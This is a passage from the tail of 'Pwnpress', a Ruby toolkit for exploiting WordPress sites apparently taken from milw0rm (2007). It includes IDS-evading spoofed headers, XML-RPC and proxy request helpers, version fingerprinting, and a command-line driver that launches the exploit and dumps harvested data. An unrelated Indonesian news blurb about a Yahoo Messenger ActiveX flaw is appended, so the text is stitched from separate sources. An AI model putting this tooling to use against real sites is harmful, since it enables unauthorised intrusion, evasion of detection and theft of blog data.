rndheader["Referer"] = rel_pages.rand_i
end

# Spoof REMOTE_ADDR, while this might be "covert" backend-wise, normal
# headers would *never* contain this. this shouldn't work on OS X server
# since the variable would be set server-side already. oh wait, I just
# helped IDS vendors! :>
if @covert_level > 1
rndheader["PC_REMOTE_ADDR"] = Pwnpress.random_ip
end

return rndheader
end

# Retrieve a list of all existing Wordpress versions from wordpress.org.
# Returns array with the results.
def get_valid_versions_array
unless @wp_versions
regexp = /
zip<\/a><\/td>/
wp_url = URI.parse("http://wordpress.org/download/release-archive/")
@wp_versions = [] # not nil, since we need self.index(version_to_check)

archive = retrieve_content('', wp_url)
if archive
tmp = archive.scan(/http:\/\/wordpress.org\/wordpress-(.+?).zip/)
if tmp
@wp_versions = tmp.uniq
end
end
end
end

# Send a XML-RPC request with data xml and path of xmlrpc.php at xmlrpc_path.
# Returns the response body received from the server or nil if failed.
# Uses random headers or given parameter (avoids recursion in some places).
def send_xmlrpc(xml, xmlrpc_path)
xml_response = ""

res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(@url.host,
@url.port) { |http|
res = http.post(@url.path + xmlrpc_path, xml, self.random_headers)
case res
when Net::HTTPSuccess, Net::HTTPRedirection
xml_response = res.body
else
xml_response = nil
end
}

return xml_response
end

# Sends a HTTP GET request to retrieve content available at specified
# relative path path to my_url (ex. my_url being the base Wordpress directory
# and path a file available within that directory).
# Uses random headers.
def retrieve_content(path, my_url = @url, headers = nil, return_res = false)
body = ""

res = Net::HTTP::Proxy(@proxy_host, @proxy_port).start(my_url.host,
my_url.port) { |http|
if headers
extra_headers = headers
else
extra_headers = self.random_headers
end

res = http.get(my_url.path + path, extra_headers)
case res
when Net::HTTPSuccess, Net::HTTPRedirection
body = res.body
else
if return_res
body = res
else
body = nil
end
end
}

return body
end
end

# if $0 =~ /pwnpress.rb/
if $0 != /666/
require 'optparse'

OPTIONS = {}

def vputs(msg)
if OPTIONS[:verbose]
puts "+> #{msg}"
end
end

if ARGV.size == 0
puts "Psychic capabilities not yet implemented, sorry. Need arguments."
exit
end

puts "> Pwnpress: Wordpress exploitation toolkit #{Pwnpress::PWNPRESS_VERSION}"
puts "> 'High quality antiblog guerrilla tools for the masses.'"
puts "> (c) 2006, 2007 Lance M. Havok "

# Let the Internet Hate Machine deliver:
begin
OptionParser.new do |opts|
opts.banner = "Usage: #{$0} [options]"

OPTIONS[:verbose] = false
OPTIONS[:fingerprint] = true
OPTIONS[:version] = "auto" # by default, try to guess version
OPTIONS[:proxy_host] = nil # if nil, default to direct conn
OPTIONS[:proxy_port] = nil # if nil, default to direct conn
OPTIONS[:table_prefix] = nil # if nil, Pwnpress retrieves it
OPTIONS[:username] = nil
OPTIONS[:password] = nil
OPTIONS[:covert_level] = 0 # by default, try everything.
OPTIONS[:irb_shell] = nil

opts.on("--[no-]verbose", "Run verbosely") do |v|
OPTIONS[:verbose] = v
end

opts.on("-t", "--target TARGET_URL", "Target URL (inc. WP path)") do |t|
unless t =~ /(http|https):\/\/(.*)\//i
raise "Target must be in form: http(s)://domain.tld/wp/"
end
OPTIONS[:target] = t
end

opts.separator ""
opts.separator "Optional and extra settings:"

opts.on("-u", "--username USER", "Valid username") do |u|
OPTIONS[:username] = u
end

opts.on("-p", "--password PASSWD", "Valid password for user") do |p|
OPTIONS[:password] = p
end

opts.on("-v", "--version VERSION", "Target (full) version") do |n|
OPTIONS[:version] = n
end

opts.on("--prefix PREFIX", "Wordpress tables prefix (ex. wp)") do |x|
OPTIONS[:table_prefix] = x
end

opts.on("-c", "--covert LEVEL", "Covert level (0-2)") do |c|
OPTIONS[:covert_level] = c
end

opts.on("-i", "--irb", "Execute an interactive IRB shell") do |i|
OPTIONS[:irb_shell] = i
end

opts.on("--proxy HOST:PORT", "Use proxy at given host and port") do |p|
unless p =~ /(.*):(.*)/i
raise "Proxy setting must be in form: host:port"
end
proxy = p.scan(/(.*):(.*)/i).flatten!
OPTIONS[:proxy_host] = proxy[0]
OPTIONS[:proxy_port] = proxy[1].to_i
end

opts.on("-f", "--[no-]fingerprint", "Disable fingerprinting") do |f|
OPTIONS[:fingerprint] = false
end

opts.separator ""
end.parse!
rescue
puts "> Please check arguments validity. See --help."
puts "Error: " + $!
exit
end

vputs "Settings:"
vputs " target: #{OPTIONS[:target]}"
vputs " fingerprint: #{OPTIONS[:fingerprint]}"
vputs " wp version: #{OPTIONS[:version]}"

if OPTIONS[:proxy_host] and OPTIONS[:proxy_port]
vputs " proxy host: #{OPTIONS[:proxy_host]}"
vputs " proxy port: #{OPTIONS[:proxy_port]}"
end
if OPTIONS[:username] and OPTIONS[:password]
vputs " username: #{OPTIONS[:username]}"
vputs " password: #{OPTIONS[:password]}"
end

# Seek. Target. Deliver.
begin
pwnInstance = Pwnpress.new(OPTIONS)

if OPTIONS[:irb_shell]
puts "> Executing interactive IRB shell, have fun."
IRB.start
puts "> Continuing..."
end

pwnInstance.exploit

puts "> Finished. Dumping results, if any."
if pwnInstance.results.size > 0
puts ""
pwnInstance.results.each do |r|
$stderr.puts "-------------------- RESULTS: " + r[0].to_s
$stderr.puts " Data type: " + r[1][:data_type].to_s
$stderr.puts " Size: " + r[1][:data].size.to_s

# This obscure piece of code simply pretty-prints data contained
# in a hash. We use a generic method to avoid code bloat and
# do it as elegant as possible.
r[1][:data].each do |n|
str = "\n" + (" " * 2) + n[0].to_s + "\n"
n[1].each do |i|
str << (" " * 3) + i[0].to_s
str << "\t : #{i[1].to_s}\n"
end

$stderr.print(str)
end
puts ""
end
end
rescue => e
puts "> Error: #{e.message}"
puts "> Ruby backtrace follows:"
puts e.backtrace
end
end

# milw0rm.com [2007-09-14]

Awas Bug Lagi di YM

Setelah minggu lalu ada bug di YM untuk modul webcam-nya, kali ini ditemukan lagi bug baru di modul ActiveX. Modul ini terembed dalam browser sehingga kalau ada situs jahat, situs tersebut bisa mengirimkan data yang menyebabkan komputer user bisa diambil alih ketika user mengunjungi web tersebut. Pengguna YM disarankan segera mengupdate ke versi terbaru (8.1.0.419). Jika Anda tidak menggunakan fitur YM seperti Video dan Voice Chat, Anda bisa menggunakan klien alternatif, misalnya Pidgin, yang secara umum lebih aman.

Sumber : CNet News